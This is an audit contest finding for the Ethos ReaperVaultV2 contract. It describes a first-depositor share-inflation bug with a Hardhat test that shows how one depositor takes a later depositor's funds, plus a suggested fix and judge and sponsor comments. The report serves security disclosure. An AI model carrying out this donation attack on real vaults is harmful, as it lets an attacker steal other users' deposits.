ReaperVaultV2: FIRST DEPOSITOR CAN BREAK MINTING OF SHARES

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L331-L336

Vulnerability details

Impact

Users may can not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large "donation".

Proof of Concept

Considering two users: User1 and User2

• User1 deposits 1 wei to mint 1 share

• User1 transfers exorbitant amount to the vault contract to greatly inflate the share’s price. Here we trnasfer 10 Unit and the share become (10 Unit + 1 wei)

• User2 has to deposit an equivalent sum to avoid minting 0 shares. Otherwise, if User2 only deposit 10 Unit, he will get ZERO share and his deposits accrue to the User1 who holds the only share.

• User1 withdrawAll to get User2's deposit.

Insert this test into starter-test.js.

it.only('ZERO share issuance', async function () {
      const {vault, want, wantHolder, owner} = await loadFixture(deployVaultAndStrategyAndGetSigners);
      // Two users 
      const depositAmount1 = toWantUnit('11');
      const depositAmount2 = toWantUnit('10');
      const [, , user1, user2] = await ethers.getSigners();

      // send somen tokens to user1 and user2 and setup approve
      await want.connect(wantHolder).transfer(user1.address, depositAmount1);
      await want.connect(wantHolder).transfer(user2.address, depositAmount2);
      await want.connect(user1).approve(vault.address, ethers.constants.MaxUint256);
      await want.connect(user2).approve(vault.address, ethers.constants.MaxUint256);
      // setup role
      await vault
        .connect(owner)
        .grantRole('0xe16b3d8fc79140c62874442c8b523e98592b429e73c0db67686a5b378b29f336', user1.address); // DEPOSITOR role
      await vault
        .connect(owner)
        .grantRole('0xe16b3d8fc79140c62874442c8b523e98592b429e73c0db67686a5b378b29f336', user2.address); // DEPOSITOR role

       // 1. user1 mints 1 wei = 1 share
      await vault.connect(user1)['deposit(uint256,address)'](ethers.utils.parseUnits('1',0), user1.address);

      // 2. do huge transfer of 10 Unit 
      // to greatly inflate share price (1 share = 10Unit + 1 Wei)
      await want.connect(user1).transfer(vault.address, toWantUnit('10'));

      //3 user2 deposit 10 Unit
      await vault.connect(user2)['deposit(uint256,address)'](toWantUnit('10'), user2.address);

      // User2 get zero share
      expect(await vault.balanceOf(user2.address)).to.equal(0);
      
      // User1 withdrawAll to get the tokens of User2
      await vault.connect(user1).withdrawAll();
      expect(await want.balanceOf(user1.address)).to.equal(toWantUnit('21'));
      
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Ensure the number of shares to be minted is non-zero:

if (totalSupply() == 0) {
    shares = _amount;
} else {
    shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
}
+ require(shares != 0, "zero shares minted");

[c4-judge]

trust1995 marked the issue as duplicate of #848

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)

[c4-judge]

trust1995 marked the issue as grade-b

[c4-sponsor]

0xBebis marked the issue as sponsor disputed

[0xBebis]

it's explained in docs that only depositor allowed will be the protocol